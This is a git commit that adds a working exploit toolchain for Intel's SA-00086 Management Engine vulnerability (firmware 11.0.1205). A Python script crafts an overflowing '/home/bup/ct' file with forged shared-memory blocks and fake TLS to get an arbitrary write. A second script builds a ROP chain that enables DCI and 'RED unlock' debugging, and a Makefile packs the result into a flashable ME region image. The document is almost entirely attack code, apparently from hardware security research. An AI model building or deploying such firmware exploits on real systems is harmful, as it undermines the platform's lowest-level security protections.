From 9daa78fe03cff5145f1566488c42902914242943 Mon Sep 17 00:00:00 2001 From: peterbjornx Date: Thu, 14 Nov 2019 12:57:18 +0100 Subject: [PATCH] first commit --- Makefile | 33 +++++++++ README.md | 23 ++++++ sa86_arb_wr.py | 191 +++++++++++++++++++++++++++++++++++++++++++++++++ sa86_rops.py | 20 ++++++ 4 files changed, 267 insertions(+) create mode 100644 Makefile create mode 100644 README.md create mode 100755 sa86_arb_wr.py create mode 100755 sa86_rops.py diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..64024da --- /dev/null +++ b/Makefile @@ -0,0 +1,33 @@ +MFS_TEMPL=AFS_region_400K.bin +MFSTOOL=mfstool +MEREGIONTOOL=meregiontool +MECONFIGTOOL=meconfigtool +REGION_DIR=region +ROPS_BASE=379784 + +extract: + $(MEREGIONTOOL) x clean_rom.bin $(REGION_DIR) + # You could also extract the ROM here + +rom_image.bin: meregion.bin input_rom.bin + cp input_rom.bin $@ + dd conv=notrunc seek=3 bs=4096 if=meregion.bin of=$@ + +expl/rops.bin: sa86_rops.py + ./sa86_rops.py $@ + +fitc/home/bup/ct: expl/rops.bin sa86_arb_wr.py + ./sa86_arb_wr.py $(ROPS_BASE) expl/rops.bin $@ + +mfs/intel.cfg: $(shell find intel_cfg -type f) + $(MECONFIGTOOL) c $@ intel_cfg + +mfs/fitc.cfg: fitc/home/bup/ct $(shell find fitc -type f) + $(MECONFIGTOOL) c $@ fitc + +region/MFS.mep: $(MFS_TEMPL) mfs/intel.cfg mfs/fitc.cfg + rm -f region/MFS.mep + $(MFSTOOL) c $@ $(MFS_TEMPL) mfs + +meregion.bin: $(shell find $(REGION_DIR) -type f) + $(MEREGIONTOOL) c $@ $(REGION_DIR) diff --git a/README.md b/README.md new file mode 100644 index 0000000..2d8a253 --- /dev/null +++ b/README.md @@ -0,0 +1,23 @@ +Make sure you have this in your path: + https://pbx.sh/meimagetool-fragment.tar.gz + +You can extract the binaries from an image by running + # save your ME region as clean_rom.bin + make extract + +If you want to use a newly created ME region (by FITC) you can directly extract +your MFS using + mfstool x region/MFS.mep mfs + meconfigtool x mfs/intel.cfg intel_cfg + meconfigtool x mfs/fitc.cfg fitc_cfg + +Otherwise, grab your ME region and extract this in your homedir + https://pbx.sh/config_spt_lp.tar.gz + +You will also need the AFS_region_400K.bin file which is a resource in Intel's +Flash Image Tool + +The constants in this repo are set for firmware 11.0.1205, but adapting them +should be easy once I publish my writeup. + +This image will not boot, but it will enable debugging. diff --git a/sa86_arb_wr.py b/sa86_arb_wr.py new file mode 100755 index 0000000..a640518 --- /dev/null +++ b/sa86_arb_wr.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python3 + +import sys +import os +import io +import argparse + +def filesz( f ): + return os.path.getsize( f.name ) + +def round4k( i ): + return (i + 4095) & 0xFFFFF000 + +def read_f( f, p, n ): + f.seek(p) + return f.read( n ) + +def read_a( f, n ): + b = f.read(n) + return int.from_bytes( b, byteorder='little' ) + +def read_a32( f ): + return read_a( f, 4 ) + +def read_a16( f ): + return read_a( f, 2 ) + +def read_r32( f ): + r = read_a32( f ) + return ( r + f.tell() ) & 0xFFFFFFFF + +def ver_sig( f, n, sig ): + b = f.read( len( sig ) ) + if b != sig: + print( "sig mismatch for: ", n, ": ", b ) + sys.exit(255) + +def write_u( f, n, v ): + b = v.to_bytes(n, byteorder='little') + f.write( b ) + +def blki( a ): + return a // 64 + +def blko( a ): + return a % 64 + +parser = argparse.ArgumentParser( + description="Generate exploit \"/home/bup/ct\" file for Intel SA-86" + ) + +parser.add_argument( + 'address', + metavar="address", + type=int, + help="The address to write the payload to") + +parser.add_argument( + 'input', + metavar="payload", + type=argparse.FileType("rb"), + help="The payload to drop") + +parser.add_argument( + 'output', + metavar="output", + type=argparse.FileType("wb"), + help="The path to write the output to.") + +parser.add_argument( + '--stack', + '-s', + type=int, + default=0x5d000, + help="The stack top address for the program") + +parser.add_argument( + '--tid', + '-t', + type=int, + default=0x3000300, + help="The thread ID for the target program (default is BUP)") + +parser.add_argument( + '--ctdepth', + '-d', + type=int, + default=0x380, + help="The stack depth of the overflowed variable") + +parser.add_argument( + '--errno', + '-e', + type=int, + default=0, + help="The errno to inject in the fake TLS") + + +ns = parser.parse_args() + +stack_base = ns.stack +ct_stack_off = -ns.ctdepth +errno = ns.errno +thread_id = ns.tid +tls_size = 0x14 +tls_addr = stack_base - tls_size +ct_base_addr = stack_base + ct_stack_off +ct_hdr_size = 0x8 +shm_ctx_size = 0x35 +shm_ctx_off = 0x68 +shm_hdr_size = 0xD +payload_data = ns.input.read() +payload_size = len(payload_data) +target_addr = ns.address +f = ns.output +payload_pad = 64 + +print("-------------------------------") +print(" Payload details ") +print("-------------------------------") +print("payload_size: %8X"%payload_size) +print("target_addr: %8X"%target_addr) +print("") +print("-------------------------------") +print(" Target details ") +print("-------------------------------") +print("stack_base: %8X"%stack_base) +print("ct_stack_off: -%8X"%(-ct_stack_off)) +print("ct_base_addr: %8X"%ct_base_addr) +print("shm_ctx_off: %8X"%shm_ctx_off) + +if blki(tls_addr - ct_base_addr) != blki(stack_base - 1 - ct_base_addr): + print("warning: TLS crosses block boundary, exploit might not work!") + +if blko(stack_base) != 0: + print("warning; gap between TLS and arbitrary write block") + print(" overflow will thrash heap!") + +sysctx_base = tls_addr - shm_ctx_off - shm_ctx_size +shmhdr_base = tls_addr - shm_hdr_size +shmhdr_off = shmhdr_base - ct_base_addr +shmblk_cnt = ((shmhdr_off - ct_hdr_size) // 0x14) +shmblk_end = shmhdr_base +shmblk_base = shmblk_end - shmblk_cnt * 0x14 +shmblk_off = shmblk_base - ct_base_addr +pad_size = shmblk_off - ct_hdr_size +target_wrad = target_addr + ct_stack_off - payload_pad + +print("sysctx_base: %8X"%sysctx_base) +print("shmhdr_base: %8X"%shmhdr_base) +print("shmhdr_off: %8X"%shmhdr_off) +print("shmblk_off: %8i"%shmblk_off) +print("shmblk_base: %8X"%shmblk_base) +print("shmblk_cnt: %8i"%shmblk_cnt) +print("shmblk_end: %8X"%shmblk_end) +print("target_wrad: %8X"%target_wrad) +print("shmbuf_size: %8X"%(payload_size - ct_stack_off)) +print("pad_size: %8X"%pad_size) + +def write_ct_hdr( f, unk0, unk1, count ): + write_u( f, 4, unk0 ) + write_u( f, 2, unk1 ) + write_u( f, 2, count ) + +def write_tls( f, syslib_ctx, errno, gtid, stack_base ): + write_u( f, 4, 0 ) + write_u( f, 4, syslib_ctx) + write_u( f, 4, errno) + write_u( f, 4, gtid) + write_u( f, 4, stack_base - 4) + +def write_shm_hdr( f, blocks, nblocks ): + write_u( f, 4, blocks ) + write_u( f, 4, nblocks ) + write_u( f, 4, 0 ) + write_u( f, 1, 0 ) + +def write_shm_blk( f, flags, buf, size ): + write_u( f, 4, flags ) # 00 + write_u( f, 4, buf ) # 04 + write_u( f, 4, size ) # 08 + write_u( f, 4, 0 ) # 0C + write_u( f, 4, 0 ) # 10 +write_ct_hdr( f, 0, 0, 0 ) +f.write( b"\0" * pad_size ) +for i in range( 0, shmblk_cnt ): + write_shm_blk( f, 1, target_wrad, payload_size + payload_pad - ct_stack_off ) +write_shm_hdr( f, shmblk_base, shmblk_cnt ) +write_tls( f, sysctx_base, errno, thread_id, stack_base ) +f.write( b"\0" * payload_pad ) +f.write( payload_data ) diff --git a/sa86_rops.py b/sa86_rops.py new file mode 100755 index 0000000..c97b2a9 --- /dev/null +++ b/sa86_rops.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python3 + +import sys +import os +import io + +def write_u( f, n, v ): + b = v.to_bytes(n, byteorder='little') + f.write( b ) + + +a = open(sys.argv[1],"wb") + +write_u( a, 4, 0x515cc ) # enable_dci_by_strap() +write_u( a, 4, 0x11b9 ) # write_seg_32 +write_u( a, 4, 0x50bed ) # pop 3 args +write_u( a, 4, 0x0010f ) # write_seg_32 arg 0 : Segment selector 0x10F +write_u( a, 4, 0x00000 ) # write_seg_32 arg 1 : Offset 0 +write_u( a, 4, 0x00003 ) # write_seg_32 arg 2 : Value 3 ( RED unlock ) +write_u( a, 4, 0x12757 ) # infinite loop